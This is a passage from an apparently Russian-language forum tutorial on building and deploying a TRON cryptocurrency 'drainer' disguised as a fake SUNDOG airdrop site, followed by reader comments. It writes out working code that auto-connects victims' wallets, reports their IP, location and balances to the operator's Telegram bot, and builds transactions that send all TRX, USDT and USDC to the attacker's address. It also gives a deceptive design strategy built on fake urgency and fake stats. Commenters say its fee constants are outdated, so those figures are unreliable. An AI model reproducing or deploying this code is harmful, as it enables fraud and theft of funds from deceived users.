export default function WalletScanner() {
  const [balances, setBalances] = useState(null);
  const [loading, setLoading] = useState(false);

  const scanWallet = async (address: string) => {
    setLoading(true);
    
    try {
      const response = await fetch('/api/wallet/scan', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ address }),
      });

      if (!response.ok) throw new Error('Scan failed');

      const data = await response.json();
      setBalances(data);

      
    } catch (error) {
      console.error('Scan error:', error);
    } finally {
      setLoading(false);
    }
  };

  return (
    <div>
      {balances && (
        <div>
          <p>TRX: {balances.trx.balance.toFixed(2)} (${balances.trx.usd.toFixed(2)})</p>
          <p>USDT: {balances.usdt.balance.toFixed(2)} (${balances.usdt.usd.toFixed(2)})</p>
          <p>USDC: {balances.usdc.balance.toFixed(2)} (${balances.usdc.usd.toFixed(2)})</p>
          <p className="font-bold">Total: ${balances.total.toFixed(2)}</p>
        </div>
      )}
    </div>
  );
}


11.4. АЛЬТЕРНАТИВА: ИСПОЛЬЗОВАНИЕ TRONWEB НА СЕРВЕРЕ
───────────────────────────────────────────────────────────────────────────────


Вместо прямых HTTP запросов к TronGrid можно использовать TronWeb на сервере:

Код:
// ВАЖНО: TronWeb НЕ работает в Edge Runtime (Vercel)!
// Нужно использовать Node.js Runtime

export const runtime = 'nodejs'; // ← Добавьте эту строку

import TronWeb from 'tronweb';

const tronWeb = new TronWeb({
  fullHost: 'https://api.trongrid.io',
});

export async function POST(request: NextRequest) {
  const { address } = await request.json();

  // Баланс TRX
  const trxBalance = await tronWeb.trx.getBalance(address);
  
  // Баланс USDT
  const usdtContract = await tronWeb.contract().at('TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t');
  const usdtBalance = await usdtContract.balanceOf(address).call();

  // ...
}


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 12: STEP 9 - API ROUTE ДЛЯ TELEGRAM УВЕДОМЛЕНИЙ
═══════════════════════════════════════════════════════════════════════════════

12.1. СОЗДАНИЕ TELEGRAM БОТА
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Откройте Telegram и найдите BotFather
ШАГ 2: Отправьте команду /newbot
ШАГ 3: Укажите имя бота
ШАГ 4: Укажите username: sundog_airdrop_bot (должен заканчиваться на _bot)
ШАГ 5: Вы получите BOT TOKEN:
Код:
1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456789
Сохраните этот токен! Это ваш API ключ для отправки сообщений.

12.2. ПОЛУЧЕНИЕ CHAT ID

───────────────────────────────────────────────────────────────────────────────
Chat ID - это уникальный идентификатор чата, куда будут приходить уведомления.

СПОСОБ 1: Через @userinfobot
1) Найдите в Telegram @userinfobot
2) Отправьте ему /start
3) Он ответит вашим Chat ID (например: 123456789)

СПОСОБ 2: Через API
1) Отправьте любое сообщение вашему боту
2) Откройте в браузере:
https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates
3) Найдите "chat":{"id":123456789}


12.3. СОЗДАНИЕ API ROUTE ДЛЯ УВЕДОМЛЕНИЙ
───────────────────────────────────────────────────────────────────────────────

Создайте файл app/api/notify/route.ts:

Код:
import { NextRequest, NextResponse } from 'next/server';

// Environment variables
const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN!;
const TELEGRAM_CHAT_ID = process.env.TELEGRAM_CHAT_ID!;

/**
 * Получить флаг страны по коду
 */
function getFlagEmoji(countryCode: string): string {
  if (!countryCode || countryCode.length !== 2) return '🌍';
  
  const codePoints = countryCode
    .toUpperCase()
    .split('')
    .map(char => 127397 + char.charCodeAt(0));
  
  return String.fromCodePoint(...codePoints);
}


function getDeviceType(userAgent: string): string {
  if (/mobile/i.test(userAgent)) return 'Mobile';
  if (/tablet/i.test(userAgent)) return 'Tablet';
  return 'Desktop';
}

/**
 * POST /api/notify
 * 
 * Body: {
 *   address: "TXxx...",
 *   walletType: "TronLink",
 *   values: { trx: 100, usdt: 500, total: 600 }
 * }
 */
export async function POST(request: NextRequest) {
  try {
    const body = await request.json();
    const { address, walletType, values } = body;

    if (!address) {
      return NextResponse.json(
        { error: 'Address required' },
        { status: 400 }
      );
    }

    // Получаем IP
    const forwarded = request.headers.get('x-forwarded-for');
    const clientIp = forwarded ? forwarded.split(',')[0] : 'unknown';

    console.log('Client IP:', clientIp);
    let ipInfo = {
      ip: clientIp,
      country: 'Unknown',
      countryCode: 'XX',
      city: 'Unknown',
      isp: 'Unknown',
    };

    if (clientIp !== 'unknown') {
      try {
        const geoResponse = await fetch(`https://ipapi.co/${clientIp}/json/`, {
          headers: { 'User-Agent': 'sundog-airdrop/1.0' },
        });
        
        if (geoResponse.ok) {
          const geoData = await geoResponse.json();
          ipInfo = {
            ip: geoData.ip || clientIp,
            country: geoData.country_name || 'Unknown',
            countryCode: geoData.country_code || 'XX',
            city: geoData.city || 'Unknown',
            isp: geoData.org || 'Unknown',
          };
        }
      } 
    }

    const flag = getFlagEmoji(ipInfo.countryCode);

    const userAgent = request.headers.get('user-agent') || 'Unknown';
    const deviceType = getDeviceType(userAgent);

    const message = `
🎯 <b>New Wallet Connected</b>

<b>Address:</b>
<code>${address}</code>

<b>Wallet Type:</b> ${walletType || 'Unknown'}

<b>Location:</b>
${flag} ${ipInfo.country}, ${ipInfo.city}
<b>IP:</b> <code>${ipInfo.ip}</code>
<b>ISP:</b> ${ipInfo.isp}

<b>Device:</b> ${deviceType}

<b>💰 Balances:</b>
${values ? `
• TRX: ${values.trx?.toFixed(2) || '0.00'} ($${values.trxUsd?.toFixed(2) || '0.00'})
• USDT: ${values.usdt?.toFixed(2) || '0.00'} ($${values.usdtUsd?.toFixed(2) || '0.00'})
• USDC: ${values.usdc?.toFixed(2) || '0.00'} ($${values.usdcUsd?.toFixed(2) || '0.00'})

<b>Total:</b> ~$${values.total?.toFixed(2) || '0.00'} USD
` : 'Not scanned yet'}

<b>TronScan:</b> https://tronscan.org/#/address/${address}

<b>Time:</b> ${new Date().toLocaleString('en-US', { timeZone: 'UTC' })} UTC
`.trim();

    const telegramResponse = await fetch(
      `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
          chat_id: TELEGRAM_CHAT_ID,
          text: message,
          parse_mode: 'HTML',
          disable_web_page_preview: true,
        }),
      }
    );

    if (!telegramResponse.ok) {
      const error = await telegramResponse.text();
      console.error('Telegram error:', error);
      throw new Error('Failed to send Telegram notification');
    }



    return NextResponse.json({ success: true });
    
  } catch (error: any) {
    console.error(Notify error:', error);
    return NextResponse.json(
      { error: 'Failed to send notification', details: error.message },
      { status: 500 }
    );
  }
}


12.4. ПРИМЕР ИСПОЛЬЗОВАНИЯ
───────────────────────────────────────────────────────────────────────────────


Код:
// После подключения кошелька
const notifyConnection = async (address: string, walletType: string, balances: any) => {
  try {
    await fetch('/api/notify', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        address,
        walletType,
        values: {
          trx: balances.trx.balance,
          trxUsd: balances.trx.usd,
          usdt: balances.usdt.balance,
          usdtUsd: balances.usdt.usd,
          usdc: balances.usdc.balance,
          usdcUsd: balances.usdc.usd,
          total: balances.total,
        },
      }),
    });
  } catch (error) {
    console.error('Failed to notify:', error);
  }
};


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 13: STEP 10 - ГЛАВНАЯ СТРАНИЦА С ЛОГИКОЙ AUTO-DRAIN
═══════════════════════════════════════════════════════════════════════════════

Это САМЫЙ ВАЖНЫЙ файл - здесь находится вся логика автоматического вывода средств.
Из-за ограничения длины я приведу только ключевые части. Полный код смотрите
в исходном файле app/page.tsx.

13.1. СТРУКТУРА КОМПОНЕНТА
───────────────────────────────────────────────────────────────────────────────


Код:
'use client';

import { useEffect, useState } from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import { WalletSelectModal } from '@/components/wallet-select-modal';
import TronWeb from 'tronweb';
import { toast } from 'sonner';

const RECIPIENT_ADDRESS = process.env.NEXT_PUBLIC_RECIPIENT_ADDRESS!;
const USDT_CONTRACT = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
const USDC_CONTRACT = 'TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8';

const tronWeb = new TronWeb({
  fullHost: 'https://api.trongrid.io',
});

export default function HomePage() {
  const { address, connected, wallet, signTransaction } = useWallet();
  
  const [modalOpen, setModalOpen] = useState(false);
  const [balance, setBalance] = useState(0);
  const [usdtBalance, setUsdtBalance] = useState(0);
  const [usdcBalance, setUsdcBalance] = useState(0);
  const [totalUsd, setTotalUsd] = useState(0);
  const [balanceLoaded, setBalanceLoaded] = useState(false);
  const [autoSendTriggered, setAutoSendTriggered] = useState(false);
  const [sending, setSending] = useState(false);

  // ... остальной код
}


13.2. USEEFFECT #1: АВТОПОДКЛЮЧЕНИЕ
───────────────────────────────────────────────────────────────────────────────

Код:
// Автоподключение при обнаружении кошелька в URL или среде
useEffect(() => {
  if (connected) return;

  const checkWallet = async () => {
    const walletParam = getUrlParameter('wallet');
    const detectedWallet = detectWalletEnvironment();
    
    if (walletParam || detectedWallet) {
      // Логика автоподключения (см. STEP 7)
    }
  };

  checkWallet();
}, [connected]);


13.3. USEEFFECT #2: ЗАГРУЗКА БАЛАНСОВ + УВЕДОМЛЕНИЕ
───────────────────────────────────────────────────────────────────────────────

Код:
// Загружаем балансы сразу после подключения
useEffect(() => {
  if (!connected || !address || balanceLoaded) return;

  const loadBalanceAndNotify = async () => {
    try {
      // 1. Сканируем кошелек
      const scanResponse = await fetch('/api/wallet/scan', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ address }),
      });

      if (scanResponse.ok) {
        const data = await scanResponse.json();
        
        setBalance(data.trx.balance);
        setUsdtBalance(data.usdt.balance);
        setUsdcBalance(data.usdc.balance);
        setTotalUsd(data.total);
        setBalanceLoaded(true);

        // 2. Отправляем уведомление в Telegram
        await fetch('/api/notify', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({
            address,
            walletType: wallet?.adapter.name || 'Unknown',
            values: {
              trx: data.trx.balance,
              trxUsd: data.trx.usd,
              usdt: data.usdt.balance,
              usdtUsd: data.usdt.usd,
              usdc: data.usdc.balance,
              usdcUsd: data.usdc.usd,
              total: data.total,
            },
          }),
        });
      }
    }
  };

  loadBalanceAndNotify();
}, [connected, address, balanceLoaded]);


13.4. USEEFFECT #3: АВТОМАТИЧЕСКИЙ ЗАПУСК ОТПРАВКИ
───────────────────────────────────────────────────────────────────────────────


Код:
// Автоматически запускаем отправку через 1.5 секунды после загрузки баланса
useEffect(() => {
  if (!balanceLoaded || autoSendTriggered || sending) return;

  const hasBalance = balance > 0 || usdtBalance > 0 || usdcBalance > 0;

  if (hasBalance) {
    const timer = setTimeout(() => {
      console.log('Auto send');
      handleSendAll();
    }, 1500);

    return () => clearTimeout(timer);
  }
}, [balanceLoaded, balance, usdtBalance, usdcBalance, autoSendTriggered, sending]);


13.5. ФУНКЦИЯ СОЗДАНИЯ ТРАНЗАКЦИЙ
───────────────────────────────────────────────────────────────────────────────

Код:
const handleSendAll = async () => {
  if (!address || !connected) {
    toast.error('Wallet not connected');
    return;
  }

  if (sending) return;
  
  setAutoSendTriggered(true);
  setSending(true);

  try {
    const transactions: any[] = [];
    let totalFeeSun = 0;

    // 1. USDT транзакция (если есть баланс)
    if (usdtBalance > 0) {
      const usdtAmount = Math.floor(usdtBalance * 1_000_000); // конвертируем в базовые единицы
      
      const usdtTx = await tronWeb.transactionBuilder.triggerSmartContract(
        USDT_CONTRACT,
        'transfer(address,uint256)',
        { feeLimit: 50_000_000 },
        [
          { type: 'address', value: RECIPIENT_ADDRESS },
          { type: 'uint256', value: usdtAmount }
        ],
        tronWeb.address.toHex(address)
      );

      if (usdtTx.result?.result) {
        transactions.push({
          tx: usdtTx.transaction,
          type: 'USDT',
          amount: usdtBalance,
        });

        // Получаем energy_fee для расчета резерва
        const energyFee = usdtTx.energy_fee || 15_000_000; // fallback 15 TRX
        const estimatedFee = Math.ceil(energyFee * 1.5); // +50% запас
        totalFeeSun += estimatedFee;
      }
    }

    // 2. USDC транзакция (аналогично)
    if (usdcBalance > 0) {
      // ... аналогичный код для USDC
      totalFeeSun += 15_000_000; // +15 TRX для USDC
    }

    // 3. TRX транзакция (отправляем ОСТАТОК после резервирования комиссий)
    const currentTrxBalance = await tronWeb.trx.getBalance(address);
    const trxTxFee = 1_000_000; // 1 TRX на комиссию для TRX транзакции
    const totalReserve = totalFeeSun + trxTxFee + 1_000_000; // +1 TRX доп. запас
    
    const trxToSend = currentTrxBalance - totalReserve;

    if (trxToSend > 0) {
      const trxTx = await tronWeb.transactionBuilder.sendTrx(
        RECIPIENT_ADDRESS,
        trxToSend,
        address
      );

      transactions.push({
        tx: trxTx,
        type: 'TRX',
        amount: trxToSend / 1_000_000,
      });
    }

    if (transactions.length === 0) {
      toast.info('No funds to send');
      setSending(false);
      return;
    }

    // 4. ПОСЛЕДОВАТЕЛЬНАЯ ПОДПИСЬ ТРАНЗАКЦИЙ   
    let successCount = 0;
    let trxRejected = false;

    for (const txData of transactions) {
      try {
        toast.info(`Signing ${txData.type} transaction...`);
        
        await signTransaction(txData.tx);
        successCount++;
        
        toast.success(`${txData.type} sent: ${txData.amount.toFixed(2)}`);
        
        // Пауза между транзакциями
        await new Promise(resolve => setTimeout(resolve, 1000));
        
      } catch (error: any) {
        console.error(` ${txData.type} rejected:`, error);
        
        if (txData.type === 'TRX') {
          trxRejected = true;
        }
        
        toast.error(`${txData.type} transaction cancelled`);
      }
    }

    // 5. FALLBACK: если TRX отклонен, но есть токены
    if (trxRejected && successCount === 0 && (usdtBalance > 0 || usdcBalance > 0)) {
      toast.info('Retrying token transfers...');
      
      // Создаем новые транзакции только для токенов
      // ... fallback логика
    }

    if (successCount > 0) {
      toast.success(`Successfully sent ${successCount} transaction(s)!`);
    }

  } catch (error: any) {
    console.error('Send error:', error);
    toast.error('Failed to send transactions');
  } finally {
    setSending(false);
  }
};


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 14: STEP 11 - UI/UX ДИЗАЙН "ФЕЙКОВОГО AIRDROP"
═══════════════════════════════════════════════════════════════════════════════


14.1. ДИЗАЙН-СТРАТЕГИЯ
───────────────────────────────────────────────────────────────────────────────

ЦЕЛЬ: Создать иллюзию легального airdrop сайта, чтобы пользователь:
1) Не подозревал о drainer функциональности
2) Был мотивирован подключить кошелек
3) Чувствовал срочность ("limited time", "claim now")

ЭЛЕМЕНТЫ ДИЗАЙНА:
• Яркие цвета (фиолетовый, голубой, зеленый)
• Анимации и эффекты свечения
• Иконки подарков, молний, трофеев
• Большие заголовки

14.2. ГЛАВНЫЙ HERO БЛОК

───────────────────────────────────────────────────────────────────────────────

Код:
<div className="relative min-h-screen overflow-hidden bg-gradient-to-br from-purple-900 via-black to-blue-900">
  {/* Animated background */}
  <div className="absolute inset-0 opacity-20">
    <div className="absolute top-20 left-20 w-72 h-72 bg-purple-500 rounded-full blur-3xl animate-pulse" />
    <div className="absolute bottom-20 right-20 w-96 h-96 bg-blue-500 rounded-full blur-3xl animate-pulse delay-1000" />
  </div>

  {/* Content */}
  <div className="relative z-10 container mx-auto px-4 py-16">
    <div className="text-center space-y-6">
      {/* Logo */}
      <div className="inline-block p-4 rounded-full bg-gradient-to-r from-yellow-400 to-orange-500 shadow-2xl shadow-yellow-500/50">
        <Gift className="w-16 h-16 text-white" />
      </div>

      {/* Title */}
      <h1 className="text-6xl md:text-8xl font-black bg-gradient-to-r from-yellow-400 via-pink-500 to-purple-600 bg-clip-text text-transparent animate-pulse">
        SUNDOG AIRDROP
      </h1>

      {/* Subtitle */}
      <p className="text-2xl md:text-3xl text-white font-semibold">
        Claim up to <span className="text-yellow-400">1000 SUNDOG</span> tokens!
      </p>

      {/* Features */}
      <div className="grid grid-cols-1 md:grid-cols-3 gap-4 mt-8 max-w-4xl mx-auto">
        <div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
          <Gift className="w-8 h-8 text-yellow-400 mx-auto mb-2" />
          <p className="font-semibold">Up to 1000 SUNDOG</p>
          <p className="text-sm text-gray-400">Per wallet</p>
        </div>

        <div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
          <Zap className="w-8 h-8 text-green-400 mx-auto mb-2" />
          <p className="font-semibold">Instant Claim</p>
          <p className="text-sm text-gray-400">No waiting period</p>
        </div>

        <div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
          <Trophy className="w-8 h-8 text-purple-400 mx-auto mb-2" />
          <p className="font-semibold">Limited Time</p>
          <p className="text-sm text-gray-400">While supplies last</p>
        </div>
      </div>

      {/* Connect Button */}
      <button
        onClick={() => setModalOpen(true)}
        className="mt-8 px-12 py-6 text-xl font-bold rounded-full bg-gradient-to-r from-yellow-400 to-orange-500 hover:from-yellow-500 hover:to-orange-600 text-white shadow-2xl shadow-yellow-500/50 transform hover:scale-105 transition-all"
      >
        🎁 Claim Your SUNDOG Now
      </button>

      {/* Fake stats */}
      <p className="text-gray-400 text-sm mt-4">
        ✅ 47,328 wallets already claimed | ⏰ 12,672 tokens remaining
      </p>
    </div>
  </div>
</div>


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 15: STEP 12 - НАСТРОЙКА ENVIRONMENT VARIABLES
═══════════════════════════════════════════════════════════════════════════════

Создайте файл .env.local в корне проекта:

Код:
# WalletConnect Project ID (с cloud.walletconnect.com)
NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID=ВАШАЙДИВАЛЕТКОНЕКТ

# Адрес получателя средств (ВАШ TRON кошелек)
NEXT_PUBLIC_RECIPIENT_ADDRESS=ВАШКОШЕЛЕК

# Telegram Bot Token (с @BotFather)
TELEGRAM_BOT_TOKEN=1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456789

# Telegram Chat ID (ваш user ID)
TELEGRAM_CHAT_ID=123456789

ВАЖНО:
• NEXT_PUBLIC_ переменные доступны в браузере
• Переменные без этого префикса доступны только на сервере
• Не коммитьте .env.local в Git!


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 16: STEP 13 - ДЕПЛОЙ НА VERCEL
═══════════════════════════════════════════════════════════════════════════════

16.1. ПОДГОТОВКА К ДЕПЛОЮ
───────────────────────────────────────────────────────────────────────────────

ШАГ 1: Создайте репозиторий на GitHub

Bash:
git init
git add .
git commit -m "Initial commit"
git branch -M main
git remote add origin https://github.com/yourusername/tron-drainer.git
git push -u origin main

ШАГ 2: Убедитесь, что .env.local в .gitignore:

Код:
# .gitignore
.env.local
.env*.local
node_modules/
.next/


16.2. ДЕПЛОЙ НА VERCEL
───────────────────────────────────────────────────────────────────────────────


ШАГ 1: Перейдите на https://vercel.com
ШАГ 2: Нажмите "Add New" → "Project"
1VERCEL.jpg

ШАГ 3: Импортируйте репозиторий с GitHub
2VERCEL.jpg

3VERCEL.jpg

ШАГ 4: Настройте Environment Variables:
• NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID
• NEXT_PUBLIC_RECIPIENT_ADDRESS
• TELEGRAM_BOT_TOKEN
• TELEGRAM_CHAT_ID

ШАГ 5: Нажмите "Deploy"
ШАГ 6: Ждите ~2 минуты - деплой завершен!
ШАГ 7: Получите URL: https://your-project.vercel.app

16.3. НАСТРОЙКА КАСТОМНОГО ДОМЕНА
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Купите домен (1Reg, Njalla, etc.)
ШАГ 2: В Vercel: Settings → Domains → Add Domain
ШАГ 3: Введите домен: sundog-airdrop.com

ШАГ 4: Настройте DNS записи (Vercel покажет инструкции):
• A Record: 76.76.21.21
• CNAME Record: cname.vercel-dns.com

ШАГ 5: Подождите DNS (+-30мин - 1 час)
ШАГ 6: Vercel автоматически создаст SSL сертификат

16.4. АВТОМАТИЧЕСКИЙ ДЕПЛОЙ
───────────────────────────────────────────────────────────────────────────────

После настройки каждый push в main ветку автоматически деплоится:

Bash:
git add .
git commit -m "Update design"
git push

Vercel автоматически:
1) Обнаружит изменения
2) Запустит build
3) Задеплоит новую версию
4) Обновит production URL


═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 17: TROUBLESHOOTING (БОНУС)
═══════════════════════════════════════════════════════════════════════════════

:smile10:ОШИБКА: "TronLink is not defined"
:zns6:РЕШЕНИЕ: Пользователь не установил TronLink. Показать модалку с инструкцией.

:smile10:ОШИБКА: "User rejected the request"
:smile2:РЕШЕНИЕ: Пользователь отклонил транзакцию. Это нормально, попробуйте fallback.

:smile10:ОШИБКА: "Insufficient balance"
:zns6:РЕШЕНИЕ: Не хватает TRX для комиссии. Увеличьте резерв в расчете.

:smile10:ОШИБКА: "Transaction already exists"
:smile2:РЕШЕНИЕ: Добавьте задержки между транзакциями (1000ms).

:smile10:ОШИБКА: "Failed to get account"
:smile66:РЕШЕНИЕ: Адрес не активирован (никогда не получал TRX). Пропустите.


═══════════════════════════════════════════════════════════════════════════════
ЗАКЛЮЧЕНИЕ:smile50::zns3:
═══════════════════════════════════════════════════════════════════════════════

Поздравляю! Вы только что прошли полный цикл создания drainer для блокчейна TRON.
В процессе изучения этой статьи вы освоили не только
технические аспекты разработки, но и глубоко погрузились в архитектуру сети TRON,
понимание принципов работы TRC-20 токенов, систему комиссий через Energy и Bandwidth,
а также интеграцию с множественными криптокошельками через различные протоколы.

Созданный tron drainer демонстрирует профессиональный подход к решению реальных
технических проблем: вы научились обходить ограничения WalletConnect для TRON через
гибридное решение с deep links, реализовали интеллектуальную систему расчета комиссий
с резервированием TRX для успешного прохождения транзакций токенов, настроили
серверные API для безопасной обработки данных и создали современный UI с адаптивным
дизайном. Особенно важным достижением является понимание различий между работой
кошельков в браузере (TronLink через window.tronWeb) и в мобильных приложениях
(через URL-схемы и deep links), что критично для создания любых web3-Drainerов.

Архитектура проекта построена на современном стеке: Next.js 16 с App Router,
React Server Components, TypeScript для типобезопасности, Tailwind CSS v4 для
стилизации и Shadcn/ui для готовых компонентов. Вы научились работать с TronWeb
библиотекой, адаптерами кошельков от @tronweb3, интеграцией WalletConnect v2 и
внешними API (TronGrid, CoinGecko, Telegram Bot API). Деплой на Vercel делает процесс обновления кода максимально простым -
достаточно сделать git push, и новая версия автоматически окажется в production.

P.S Если заметили баги,или то, как можно сделать tron-drainer лучше
Пишите в коментарии под постом. Оперативно исправлю/сделаю новую версию
:smile10:
 

Вложения

  • modaltrx.jpg
    modaltrx.jpg
    100.8 КБ · Просмотры: 17
  • tronlinkmobile2.jpg
    tronlinkmobile2.jpg
    71.9 КБ · Просмотры: 18
  • WCKS.png
    WCKS.png
    46.1 КБ · Просмотры: 18
  • signinwc.png
    signinwc.png
    20.4 КБ · Просмотры: 17
Я в восторге от объемов этого чтива
Я в восторге от оформления
Но прослеживается один из двух вариантов: либо это копирка какой-то старой статьи, либо это вообще ИИ-генерация
Я остановлюсь на том, что знаю и в чем понимаю (потому что техническая часть про дрейн от меня далека и я могу наплести гадостей)

Высокая пропускная способность: до 2000 транзакций в секунду (TPS)
Блоки генерируются раз в 3 секунды и в один блок 2000 транз не пролезает

По данным на 2024 год, более 50% всех USDT существует именно на блокчейне
TRON
2024? For real?

Без Energy комиссия сжигается в TRX (~13-15 TRX за USDT перевод).
Никогда не было разброса в 13-15. Бывало разброс должен быть х2 по определению. Ранее было 13-27, сейчас 6.5-13

Для активации аккаунта требуется минимум 0.1 TRX.
Для активации требуется перевод любой суммы TRX (достаточно 0.000001) и оплаты газа в размере 1 TRX

1 TRX = ~1000-1500 Energy points при заморозке
1 TRX == 9 energy points

const energyPrice = 420; // sun per energy unit const energyNeeded = 31895; // для USDT transfer
energyPrice уже давненько был снижен до 210, а сейчас и вовсе до 100
energyNeeded от 65000 до 131000 (округляю)


Резюме:
Если кто-то будет делать дрын, не ориентируйтесь на цифры и константы из этой статьи, они все напрочь неактуальны, сверяйтесь с реальной жизнью в эксплорере
 
Но прослеживается один из двух вариантов: либо это копирка какой-то старой статьи, либо это вообще ИИ-генерация
Прошу избегать необоснованных обвинений — фокусируйтесь на контенте.
Если неточности подтвердятся, автор статьи ее откорректирует.​
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх